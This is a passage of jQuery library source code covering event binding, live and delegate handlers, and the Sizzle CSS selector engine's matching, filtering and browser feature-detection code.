			jQuery( this ).unbind( event, handler );
			return fn.apply( this, arguments );
		}) : fn;
		if ( type === "unload" && name !== "one" ) {
			this.one( type, data, fn );
		} else {
			for ( var i = 0, l = this.length; i < l; i++ ) {
				jQuery.event.add( this[i], type, handler, data );
			}
		}
		return this;
	};
});
jQuery.fn.extend({
	unbind: function( type, fn ) {
		// Handle object literals
		if ( typeof type === "object" && !type.preventDefault ) {
			for ( var key in type ) {
				this.unbind(key, type[key]);
			}
		} else {
			for ( var i = 0, l = this.length; i < l; i++ ) {
				jQuery.event.remove( this[i], type, fn );
			}
		}
		return this;
	},
	delegate: function( selector, types, data, fn ) {
		return this.live( types, data, fn, selector );
	},
	undelegate: function( selector, types, fn ) {
		if ( arguments.length === 0 ) {
				return this.unbind( "live" );
		} else {
			return this.die( types, null, fn, selector );
		}
	},
	trigger: function( type, data ) {
		return this.each(function() {
			jQuery.event.trigger( type, data, this );
		});
	},
	triggerHandler: function( type, data ) {
		if ( this[0] ) {
			var event = jQuery.Event( type );
			event.preventDefault();
			event.stopPropagation();
			jQuery.event.trigger( event, data, this[0] );
			return event.result;
		}
	},
	toggle: function( fn ) {
		// Save reference to arguments for access in closure
		var args = arguments,
			i = 1;
		// link all the functions, so any of them can unbind this click handler
		while ( i < args.length ) {
			jQuery.proxy( fn, args[ i++ ] );
		}
		return this.click( jQuery.proxy( fn, function( event ) {
			// Figure out which function to execute
			var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
			jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
			// Make sure that clicks stop
			event.preventDefault();
			// and execute the function
			return args[ lastToggle ].apply( this, arguments ) || false;
		}));
	},
	hover: function( fnOver, fnOut ) {
		return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
	}
});
var liveMap = {
	focus: "focusin",
	blur: "focusout",
	mouseenter: "mouseover",
	mouseleave: "mouseout"
};
jQuery.each(["live", "die"], function( i, name ) {
	jQuery.fn[ name ] = function( types, data, fn, origSelector /* Internal Use Only */ ) {
		var type, i = 0, match, namespaces, preType,
			selector = origSelector || this.selector,
			context = origSelector ? this : jQuery( this.context );
		if ( typeof types === "object" && !types.preventDefault ) {
			for ( var key in types ) {
				context[ name ]( key, data, types[key], selector );
			}
			return this;
		}
		if ( jQuery.isFunction( data ) ) {
			fn = data;
			data = undefined;
		}
		types = (types || "").split(" ");
		while ( (type = types[ i++ ]) != null ) {
			match = rnamespaces.exec( type );
			namespaces = "";
			if ( match )  {
				namespaces = match[0];
				type = type.replace( rnamespaces, "" );
			}
			if ( type === "hover" ) {
				types.push( "mouseenter" + namespaces, "mouseleave" + namespaces );
				continue;
			}
			preType = type;
			if ( type === "focus" || type === "blur" ) {
				types.push( liveMap[ type ] + namespaces );
				type = type + namespaces;
			} else {
				type = (liveMap[ type ] || type) + namespaces;
			}
			if ( name === "live" ) {
				// bind live handler
				for ( var j = 0, l = context.length; j < l; j++ ) {
					jQuery.event.add( context[j], "live." + liveConvert( type, selector ),
						{ data: data, selector: selector, handler: fn, origType: type, origHandler: fn, preType: preType } );
				}
			} else {
				// unbind live handler
				context.unbind( "live." + liveConvert( type, selector ), fn );
			}
		}
		return this;
	};
});
function liveHandler( event ) {
	var stop, maxLevel, related, match, handleObj, elem, j, i, l, data, close, namespace, ret,
		elems = [],
		selectors = [],
		events = jQuery._data( this, "events" );
	// Make sure we avoid non-left-click bubbling in Firefox (#3861) and disabled elements in IE (#6911)
	if ( event.liveFired === this || !events || !events.live || event.target.disabled || event.button && event.type === "click" ) {
		return;
	}
	if ( event.namespace ) {
		namespace = new RegExp("(^|\\.)" + event.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)");
	}
	event.liveFired = this;
	var live = events.live.slice(0);
	for ( j = 0; j < live.length; j++ ) {
		handleObj = live[j];
		if ( handleObj.origType.replace( rnamespaces, "" ) === event.type ) {
			selectors.push( handleObj.selector );
		} else {
			live.splice( j--, 1 );
		}
	}
	match = jQuery( event.target ).closest( selectors, event.currentTarget );
	for ( i = 0, l = match.length; i < l; i++ ) {
		close = match[i];
		for ( j = 0; j < live.length; j++ ) {
			handleObj = live[j];
			if ( close.selector === handleObj.selector && (!namespace || namespace.test( handleObj.namespace )) && !close.elem.disabled ) {
				elem = close.elem;
				related = null;
				// Those two events require additional checking
				if ( handleObj.preType === "mouseenter" || handleObj.preType === "mouseleave" ) {
					event.type = handleObj.preType;
					related = jQuery( event.relatedTarget ).closest( handleObj.selector )[0];
				}
				if ( !related || related !== elem ) {
					elems.push({ elem: elem, handleObj: handleObj, level: close.level });
				}
			}
		}
	}
	for ( i = 0, l = elems.length; i < l; i++ ) {
		match = elems[i];
		if ( maxLevel && match.level > maxLevel ) {
			break;
		}
		event.currentTarget = match.elem;
		event.data = match.handleObj.data;
		event.handleObj = match.handleObj;
		ret = match.handleObj.origHandler.apply( match.elem, arguments );
		if ( ret === false || event.isPropagationStopped() ) {
			maxLevel = match.level;
			if ( ret === false ) {
				stop = false;
			}
			if ( event.isImmediatePropagationStopped() ) {
				break;
			}
		}
	}
	return stop;
}
function liveConvert( type, selector ) {
	return (type && type !== "*" ? type + "." : "") + selector.replace(rperiod, "`").replace(rspace, "&");
}
jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
	"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
	"change select submit keydown keypress keyup error").split(" "), function( i, name ) {
	// Handle event binding
	jQuery.fn[ name ] = function( data, fn ) {
		if ( fn == null ) {
			fn = data;
			data = null;
		}
		return arguments.length > 0 ?
			this.bind( name, data, fn ) :
			this.trigger( name );
	};
	if ( jQuery.attrFn ) {
		jQuery.attrFn[ name ] = true;
	}
});
/*!
 * Sizzle CSS Selector Engine
 *  Copyright 2011, The Dojo Foundation
 *  Released under the MIT, BSD, and GPL Licenses.
 *  More information: http://sizzlejs.com/
 */
(function(){
var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
	done = 0,
	toString = Object.prototype.toString,
	hasDuplicate = false,
	baseHasDuplicate = true,
	rBackslash = /\\/g,
	rNonWord = /\W/;
// Here we check if the JavaScript engine is using some sort of
// optimization where it does not always call our comparision
// function. If that is the case, discard the hasDuplicate value.
//   Thus far that includes Google Chrome.
[0, 0].sort(function() {
	baseHasDuplicate = false;
	return 0;
});
var Sizzle = function( selector, context, results, seed ) {
	results = results || [];
	context = context || document;
	var origContext = context;
	if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
		return [];
	}
	
	if ( !selector || typeof selector !== "string" ) {
		return results;
	}
	var m, set, checkSet, extra, ret, cur, pop, i,
		prune = true,
		contextXML = Sizzle.isXML( context ),
		parts = [],
		soFar = selector;
	
	// Reset the position of the chunker regexp (start from head)
	do {
		chunker.exec( "" );
		m = chunker.exec( soFar );
		if ( m ) {
			soFar = m[3];
		
			parts.push( m[1] );
		
			if ( m[2] ) {
				extra = m[3];
				break;
			}
		}
	} while ( m );
	if ( parts.length > 1 && origPOS.exec( selector ) ) {
		if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
			set = posProcess( parts[0] + parts[1], context );
		} else {
			set = Expr.relative[ parts[0] ] ?
				[ context ] :
				Sizzle( parts.shift(), context );
			while ( parts.length ) {
				selector = parts.shift();
				if ( Expr.relative[ selector ] ) {
					selector += parts.shift();
				}
				
				set = posProcess( selector, set );
			}
		}
	} else {
		// Take a shortcut and set the context if the root selector is an ID
		// (but not if it'll be faster if the inner selector is an ID)
		if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
				Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
			ret = Sizzle.find( parts.shift(), context, contextXML );
			context = ret.expr ?
				Sizzle.filter( ret.expr, ret.set )[0] :
				ret.set[0];
		}
		if ( context ) {
			ret = seed ?
				{ expr: parts.pop(), set: makeArray(seed) } :
				Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
			set = ret.expr ?
				Sizzle.filter( ret.expr, ret.set ) :
				ret.set;
			if ( parts.length > 0 ) {
				checkSet = makeArray( set );
			} else {
				prune = false;
			}
			while ( parts.length ) {
				cur = parts.pop();
				pop = cur;
				if ( !Expr.relative[ cur ] ) {
					cur = "";
				} else {
					pop = parts.pop();
				}
				if ( pop == null ) {
					pop = context;
				}
				Expr.relative[ cur ]( checkSet, pop, contextXML );
			}
		} else {
			checkSet = parts = [];
		}
	}
	if ( !checkSet ) {
		checkSet = set;
	}
	if ( !checkSet ) {
		Sizzle.error( cur || selector );
	}
	if ( toString.call(checkSet) === "[object Array]" ) {
		if ( !prune ) {
			results.push.apply( results, checkSet );
		} else if ( context && context.nodeType === 1 ) {
			for ( i = 0; checkSet[i] != null; i++ ) {
				if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
					results.push( set[i] );
				}
			}
		} else {
			for ( i = 0; checkSet[i] != null; i++ ) {
				if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
					results.push( set[i] );
				}
			}
		}
	} else {
		makeArray( checkSet, results );
	}
	if ( extra ) {
		Sizzle( extra, origContext, results, seed );
		Sizzle.uniqueSort( results );
	}
	return results;
};
Sizzle.uniqueSort = function( results ) {
	if ( sortOrder ) {
		hasDuplicate = baseHasDuplicate;
		results.sort( sortOrder );
		if ( hasDuplicate ) {
			for ( var i = 1; i < results.length; i++ ) {
				if ( results[i] === results[ i - 1 ] ) {
					results.splice( i--, 1 );
				}
			}
		}
	}
	return results;
};
Sizzle.matches = function( expr, set ) {
	return Sizzle( expr, null, null, set );
};
Sizzle.matchesSelector = function( node, expr ) {
	return Sizzle( expr, null, null, [node] ).length > 0;
};
Sizzle.find = function( expr, context, isXML ) {
	var set;
	if ( !expr ) {
		return [];
	}
	for ( var i = 0, l = Expr.order.length; i < l; i++ ) {
		var match,
			type = Expr.order[i];
		
		if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
			var left = match[1];
			match.splice( 1, 1 );
			if ( left.substr( left.length - 1 ) !== "\\" ) {
				match[1] = (match[1] || "").replace( rBackslash, "" );
				set = Expr.find[ type ]( match, context, isXML );
				if ( set != null ) {
					expr = expr.replace( Expr.match[ type ], "" );
					break;
				}
			}
		}
	}
	if ( !set ) {
		set = typeof context.getElementsByTagName !== "undefined" ?
			context.getElementsByTagName( "*" ) :
			[];
	}
	return { set: set, expr: expr };
};
Sizzle.filter = function( expr, set, inplace, not ) {
	var match, anyFound,
		old = expr,
		result = [],
		curLoop = set,
		isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
	while ( expr && set.length ) {
		for ( var type in Expr.filter ) {
			if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
				var found, item,
					filter = Expr.filter[ type ],
					left = match[1];
				anyFound = false;
				match.splice(1,1);
				if ( left.substr( left.length - 1 ) === "\\" ) {
					continue;
				}
				if ( curLoop === result ) {
					result = [];
				}
				if ( Expr.preFilter[ type ] ) {
					match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
					if ( !match ) {
						anyFound = found = true;
					} else if ( match === true ) {
						continue;
					}
				}
				if ( match ) {
					for ( var i = 0; (item = curLoop[i]) != null; i++ ) {
						if ( item ) {
							found = filter( item, match, i, curLoop );
							var pass = not ^ !!found;
							if ( inplace && found != null ) {
								if ( pass ) {
									anyFound = true;
								} else {
									curLoop[i] = false;
								}
							} else if ( pass ) {
								result.push( item );
								anyFound = true;
							}
						}
					}
				}
				if ( found !== undefined ) {
					if ( !inplace ) {
						curLoop = result;
					}
					expr = expr.replace( Expr.match[ type ], "" );
					if ( !anyFound ) {
						return [];
					}
					break;
				}
			}
		}
		// Improper expression
		if ( expr === old ) {
			if ( anyFound == null ) {
				Sizzle.error( expr );
			} else {
				break;
			}
		}
		old = expr;
	}
	return curLoop;
};
Sizzle.error = function( msg ) {
	throw "Syntax error, unrecognized expression: " + msg;
};
var Expr = Sizzle.selectors = {
	order: [ "ID", "NAME", "TAG" ],
	match: {
		ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
		CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
		NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
		ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
		TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
		CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
		POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
		PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
	},
	leftMatch: {},
	attrMap: {
		"class": "className",
		"for": "htmlFor"
	},
	attrHandle: {
		href: function( elem ) {
			return elem.getAttribute( "href" );
		},
		type: function( elem ) {
			return elem.getAttribute( "type" );
		}
	},
	relative: {
		"+": function(checkSet, part){
			var isPartStr = typeof part === "string",
				isTag = isPartStr && !rNonWord.test( part ),
				isPartStrNotTag = isPartStr && !isTag;
			if ( isTag ) {
				part = part.toLowerCase();
			}
			for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
				if ( (elem = checkSet[i]) ) {
					while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
					checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
						elem || false :
						elem === part;
				}
			}
			if ( isPartStrNotTag ) {
				Sizzle.filter( part, checkSet, true );
			}
		},
		">": function( checkSet, part ) {
			var elem,
				isPartStr = typeof part === "string",
				i = 0,
				l = checkSet.length;
			if ( isPartStr && !rNonWord.test( part ) ) {
				part = part.toLowerCase();
				for ( ; i < l; i++ ) {
					elem = checkSet[i];
					if ( elem ) {
						var parent = elem.parentNode;
						checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
					}
				}
			} else {
				for ( ; i < l; i++ ) {
					elem = checkSet[i];
					if ( elem ) {
						checkSet[i] = isPartStr ?
							elem.parentNode :
							elem.parentNode === part;
					}
				}
				if ( isPartStr ) {
					Sizzle.filter( part, checkSet, true );
				}
			}
		},
		"": function(checkSet, part, isXML){
			var nodeCheck,
				doneName = done++,
				checkFn = dirCheck;
			if ( typeof part === "string" && !rNonWord.test( part ) ) {
				part = part.toLowerCase();
				nodeCheck = part;
				checkFn = dirNodeCheck;
			}
			checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
		},
		"~": function( checkSet, part, isXML ) {
			var nodeCheck,
				doneName = done++,
				checkFn = dirCheck;
			if ( typeof part === "string" && !rNonWord.test( part ) ) {
				part = part.toLowerCase();
				nodeCheck = part;
				checkFn = dirNodeCheck;
			}
			checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
		}
	},
	find: {
		ID: function( match, context, isXML ) {
			if ( typeof context.getElementById !== "undefined" && !isXML ) {
				var m = context.getElementById(match[1]);
				// Check parentNode to catch when Blackberry 4.6 returns
				// nodes that are no longer in the document #6963
				return m && m.parentNode ? [m] : [];
			}
		},
		NAME: function( match, context ) {
			if ( typeof context.getElementsByName !== "undefined" ) {
				var ret = [],
					results = context.getElementsByName( match[1] );
				for ( var i = 0, l = results.length; i < l; i++ ) {
					if ( results[i].getAttribute("name") === match[1] ) {
						ret.push( results[i] );
					}
				}
				return ret.length === 0 ? null : ret;
			}
		},
		TAG: function( match, context ) {
			if ( typeof context.getElementsByTagName !== "undefined" ) {
				return context.getElementsByTagName( match[1] );
			}
		}
	},
	preFilter: {
		CLASS: function( match, curLoop, inplace, result, not, isXML ) {
			match = " " + match[1].replace( rBackslash, "" ) + " ";
			if ( isXML ) {
				return match;
			}
			for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
				if ( elem ) {
					if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
						if ( !inplace ) {
							result.push( elem );
						}
					} else if ( inplace ) {
						curLoop[i] = false;
					}
				}
			}
			return false;
		},
		ID: function( match ) {
			return match[1].replace( rBackslash, "" );
		},
		TAG: function( match, curLoop ) {
			return match[1].replace( rBackslash, "" ).toLowerCase();
		},
		CHILD: function( match ) {
			if ( match[1] === "nth" ) {
				if ( !match[2] ) {
					Sizzle.error( match[0] );
				}
				match[2] = match[2].replace(/^\+|\s*/g, '');
				// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
				var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
					match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
					!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
				// calculate the numbers (first)n+(last) including if they are negative
				match[2] = (test[1] + (test[2] || 1)) - 0;
				match[3] = test[3] - 0;
			}
			else if ( match[2] ) {
				Sizzle.error( match[0] );
			}
			// TODO: Move to normal caching system
			match[0] = done++;
			return match;
		},
		ATTR: function( match, curLoop, inplace, result, not, isXML ) {
			var name = match[1] = match[1].replace( rBackslash, "" );
			
			if ( !isXML && Expr.attrMap[name] ) {
				match[1] = Expr.attrMap[name];
			}
			// Handle if an un-quoted value was used
			match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
			if ( match[2] === "~=" ) {
				match[4] = " " + match[4] + " ";
			}
			return match;
		},
		PSEUDO: function( match, curLoop, inplace, result, not ) {
			if ( match[1] === "not" ) {
				// If we're dealing with a complex expression, or a simple one
				if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
					match[3] = Sizzle(match[3], null, null, curLoop);
				} else {
					var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
					if ( !inplace ) {
						result.push.apply( result, ret );
					}
					return false;
				}
			} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
				return true;
			}
			
			return match;
		},
		POS: function( match ) {
			match.unshift( true );
			return match;
		}
	},
	
	filters: {
		enabled: function( elem ) {
			return elem.disabled === false && elem.type !== "hidden";
		},
		disabled: function( elem ) {
			return elem.disabled === true;
		},
		checked: function( elem ) {
			return elem.checked === true;
		},
		
		selected: function( elem ) {
			// Accessing this property makes selected-by-default
			// options in Safari work properly
			if ( elem.parentNode ) {
				elem.parentNode.selectedIndex;
			}
			
			return elem.selected === true;
		},
		parent: function( elem ) {
			return !!elem.firstChild;
		},
		empty: function( elem ) {
			return !elem.firstChild;
		},
		has: function( elem, i, match ) {
			return !!Sizzle( match[3], elem ).length;
		},
		header: function( elem ) {
			return (/h\d/i).test( elem.nodeName );
		},
		text: function( elem ) {
			var attr = elem.getAttribute( "type" ), type = elem.type;
			// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) 
			// use getAttribute instead to test this case
			return "text" === type && ( attr === type || attr === null );
		},
		radio: function( elem ) {
			return "radio" === elem.type;
		},
		checkbox: function( elem ) {
			return "checkbox" === elem.type;
		},
		file: function( elem ) {
			return "file" === elem.type;
		},
		password: function( elem ) {
			return "password" === elem.type;
		},
		submit: function( elem ) {
			return "submit" === elem.type;
		},
		image: function( elem ) {
			return "image" === elem.type;
		},
		reset: function( elem ) {
			return "reset" === elem.type;
		},
		button: function( elem ) {
			return "button" === elem.type || elem.nodeName.toLowerCase() === "button";
		},
		input: function( elem ) {
			return (/input|select|textarea|button/i).test( elem.nodeName );
		}
	},
	setFilters: {
		first: function( elem, i ) {
			return i === 0;
		},
		last: function( elem, i, match, array ) {
			return i === array.length - 1;
		},
		even: function( elem, i ) {
			return i % 2 === 0;
		},
		odd: function( elem, i ) {
			return i % 2 === 1;
		},
		lt: function( elem, i, match ) {
			return i < match[3] - 0;
		},
		gt: function( elem, i, match ) {
			return i > match[3] - 0;
		},
		nth: function( elem, i, match ) {
			return match[3] - 0 === i;
		},
		eq: function( elem, i, match ) {
			return match[3] - 0 === i;
		}
	},
	filter: {
		PSEUDO: function( elem, match, i, array ) {
			var name = match[1],
				filter = Expr.filters[ name ];
			if ( filter ) {
				return filter( elem, i, match, array );
			} else if ( name === "contains" ) {
				return (elem.textContent || elem.innerText || Sizzle.getText([ elem ]) || "").indexOf(match[3]) >= 0;
			} else if ( name === "not" ) {
				var not = match[3];
				for ( var j = 0, l = not.length; j < l; j++ ) {
					if ( not[j] === elem ) {
						return false;
					}
				}
				return true;
			} else {
				Sizzle.error( name );
			}
		},
		CHILD: function( elem, match ) {
			var type = match[1],
				node = elem;
			switch ( type ) {
				case "only":
				case "first":
					while ( (node = node.previousSibling) )	 {
						if ( node.nodeType === 1 ) { 
							return false; 
						}
					}
					if ( type === "first" ) { 
						return true; 
					}
					node = elem;
				case "last":
					while ( (node = node.nextSibling) )	 {
						if ( node.nodeType === 1 ) { 
							return false; 
						}
					}
					return true;
				case "nth":
					var first = match[2],
						last = match[3];
					if ( first === 1 && last === 0 ) {
						return true;
					}
					
					var doneName = match[0],
						parent = elem.parentNode;
	
					if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {
						var count = 0;
						
						for ( node = parent.firstChild; node; node = node.nextSibling ) {
							if ( node.nodeType === 1 ) {
								node.nodeIndex = ++count;
							}
						} 
						parent.sizcache = doneName;
					}
					
					var diff = elem.nodeIndex - last;
					if ( first === 0 ) {
						return diff === 0;
					} else {
						return ( diff % first === 0 && diff / first >= 0 );
					}
			}
		},
		ID: function( elem, match ) {
			return elem.nodeType === 1 && elem.getAttribute("id") === match;
		},
		TAG: function( elem, match ) {
			return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match;
		},
		
		CLASS: function( elem, match ) {
			return (" " + (elem.className || elem.getAttribute("class")) + " ")
				.indexOf( match ) > -1;
		},
		ATTR: function( elem, match ) {
			var name = match[1],
				result = Expr.attrHandle[ name ] ?
					Expr.attrHandle[ name ]( elem ) :
					elem[ name ] != null ?
						elem[ name ] :
						elem.getAttribute( name ),
				value = result + "",
				type = match[2],
				check = match[4];
			return result == null ?
				type === "!=" :
				type === "=" ?
				value === check :
				type === "*=" ?
				value.indexOf(check) >= 0 :
				type === "~=" ?
				(" " + value + " ").indexOf(check) >= 0 :
				!check ?
				value && result !== false :
				type === "!=" ?
				value !== check :
				type === "^=" ?
				value.indexOf(check) === 0 :
				type === "$=" ?
				value.substr(value.length - check.length) === check :
				type === "|=" ?
				value === check || value.substr(0, check.length + 1) === check + "-" :
				false;
		},
		POS: function( elem, match, i, array ) {
			var name = match[2],
				filter = Expr.setFilters[ name ];
			if ( filter ) {
				return filter( elem, i, match, array );
			}
		}
	}
};
var origPOS = Expr.match.POS,
	fescape = function(all, num){
		return "\\" + (num - 0 + 1);
	};
for ( var type in Expr.match ) {
	Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
	Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
}
var makeArray = function( array, results ) {
	array = Array.prototype.slice.call( array, 0 );
	if ( results ) {
		results.push.apply( results, array );
		return results;
	}
	
	return array;
};
// Perform a simple check to determine if the browser is capable of
// converting a NodeList to an array using builtin methods.
// Also verifies that the returned array holds DOM nodes
// (which is not the case in the Blackberry browser)
try {
	Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
// Provide a fallback method if it does not work
} catch( e ) {
	makeArray = function( array, results ) {
		var i = 0,
			ret = results || [];
		if ( toString.call(array) === "[object Array]" ) {
			Array.prototype.push.apply( ret, array );
		} else {
			if ( typeof array.length === "number" ) {
				for ( var l = array.length; i < l; i++ ) {
					ret.push( array[i] );
				}
			} else {
				for ( ; array[i]; i++ ) {
					ret.push( array[i] );
				}
			}
		}
		return ret;
	};
}
var sortOrder, siblingCheck;
if ( document.documentElement.compareDocumentPosition ) {
	sortOrder = function( a, b ) {
		if ( a === b ) {
			hasDuplicate = true;
			return 0;
		}
		if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
			return a.compareDocumentPosition ? -1 : 1;
		}
		return a.compareDocumentPosition(b) & 4 ? -1 : 1;
	};
} else {
	sortOrder = function( a, b ) {
		var al, bl,
			ap = [],
			bp = [],
			aup = a.parentNode,
			bup = b.parentNode,
			cur = aup;
		// The nodes are identical, we can exit early
		if ( a === b ) {
			hasDuplicate = true;
			return 0;
		// If the nodes are siblings (or identical) we can do a quick check
		} else if ( aup === bup ) {
			return siblingCheck( a, b );
		// If no parents were found then the nodes are disconnected
		} else if ( !aup ) {
			return -1;
		} else if ( !bup ) {
			return 1;
		}
		// Otherwise they're somewhere else in the tree so we need
		// to build up a full list of the parentNodes for comparison
		while ( cur ) {
			ap.unshift( cur );
			cur = cur.parentNode;
		}
		cur = bup;
		while ( cur ) {
			bp.unshift( cur );
			cur = cur.parentNode;
		}
		al = ap.length;
		bl = bp.length;
		// Start walking down the tree looking for a discrepancy
		for ( var i = 0; i < al && i < bl; i++ ) {
			if ( ap[i] !== bp[i] ) {
				return siblingCheck( ap[i], bp[i] );
			}
		}
		// We ended someplace up the tree so do a sibling check
		return i === al ?
			siblingCheck( a, bp[i], -1 ) :
			siblingCheck( ap[i], b, 1 );
	};
	siblingCheck = function( a, b, ret ) {
		if ( a === b ) {
			return ret;
		}
		var cur = a.nextSibling;
		while ( cur ) {
			if ( cur === b ) {
				return -1;
			}
			cur = cur.nextSibling;
		}
		return 1;
	};
}
// Utility function for retreiving the text value of an array of DOM nodes
Sizzle.getText = function( elems ) {
	var ret = "", elem;
	for ( var i = 0; elems[i]; i++ ) {
		elem = elems[i];
		// Get the text from text nodes and CDATA nodes
		if ( elem.nodeType === 3 || elem.nodeType === 4 ) {
			ret += elem.nodeValue;
		// Traverse everything else, except comment nodes
		} else if ( elem.nodeType !== 8 ) {
			ret += Sizzle.getText( elem.childNodes );
		}
	}
	return ret;
};
// Check to see if the browser returns elements by name when
// querying by getElementById (and provide a workaround)
(function(){
	// We're going to inject a fake input element with a specified name
	var form = document.createElement("div"),
		id = "script" + (new Date()).getTime(),
		root = document.documentElement;
	form.innerHTML = "<a name='" + id + "'/>";
	// Inject it into the root element, check its status, and remove it quickly
	root.insertBefore( form, root.firstChild );
	// The workaround has to do additional checks after a getElementById
	// Which slows things down for other browsers (hence the branching)
	if ( document.getElementById( id ) ) {
		Expr.find.ID = function( match, context, isXML ) {
			if ( typeof context.getElementById !== "undefined" && !isXML ) {
				var m = context.getElementById(match[1]);
				return m ?
					m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
						[m] :
						undefined :
					[];
			}
		};
		Expr.filter.ID = function( elem, match ) {
			var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
			return elem.nodeType === 1 && node && node.nodeValue === match;
		};
	}
	root.removeChild( form );
	// release memory in IE
	root = form = null;
})();
(function(){
	// Check to see if the browser returns only elements
	// when doing getElementsByTagName("*")
	// Create a fake element
	var div = document.createElement("div");
	div.appendChild( document.createComment("") );
	// Make sure no comments are found
	if ( div.getElementsByTagName("*").length > 0 ) {
		Expr.find.TAG = function( match, context ) {
			var results = context.getElementsByTagName( match[1] );
			// Filter out possible comments
			if ( match[1] === "*" ) {
				var tmp = [];
				for ( var i = 0; results[i]; i++ ) {
					if ( results[i].nodeType === 1 ) {
						tmp.push( results[i] );
					}
				}
				results = tmp;
			}
			return results;
		};
	}
	// Check to see if an attribute returns normalized href attributes
	div.innerHTML = "<a href='#'></a>";
	if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
			div.firstChild.getAttribute("href") !== "#" ) {
		Expr.attrHandle.href = function( elem ) {
			return elem.getAttribute( "href", 2 );
		};
	}
	// release memory in IE
	div = null;
})();
if ( document.querySelectorAll ) {
	(function(){
		var oldSizzle = Sizzle,
			div = document.createElement("div"),
			id = "__sizzle__";
		div.innerHTML = "<p class='TEST'></p>";
		// Safari can't handle uppercase or unicode characters when
		// in quirks mode.
		if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
			return;
		}
	
		Sizzle = function( query, context, extra, seed ) {
			context = context || document;
			// Only use querySelectorAll on non-XML documents
			// (ID selectors don't work in non-HTML documents)
			if ( !seed && !Sizzle.isXML(context) ) {
				// See if we find a selector to speed up
				var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
				
				if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
					// Speed-up: Sizzle("TAG")
					if ( match[1] ) {
						return makeArray( context.getElementsByTagName( query ), extra );
					
					// Speed-up: Sizzle(".CLASS")
					} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
						return makeArray( context.getElementsByClassName( match[2] ), extra );
					}
				}
				
				if ( context.nodeType === 9 ) {
					// Speed-up: Sizzle("body")
					// The body element only exists once, optimize finding it
					if ( query === "body" && context.body ) {
						return makeArray( [ context.body ], extra );
						
					// Speed-up: Sizzle("#ID")
					} else if ( match && match[3] ) {
						var elem = context.getElementById( match[3] );
						// Check parentNode to catch when Blackberry 4.6 returns
						// nodes that are no longer in the document #6963
						if ( elem && elem.parentNode ) {
							// Handle the case where IE and Opera return items
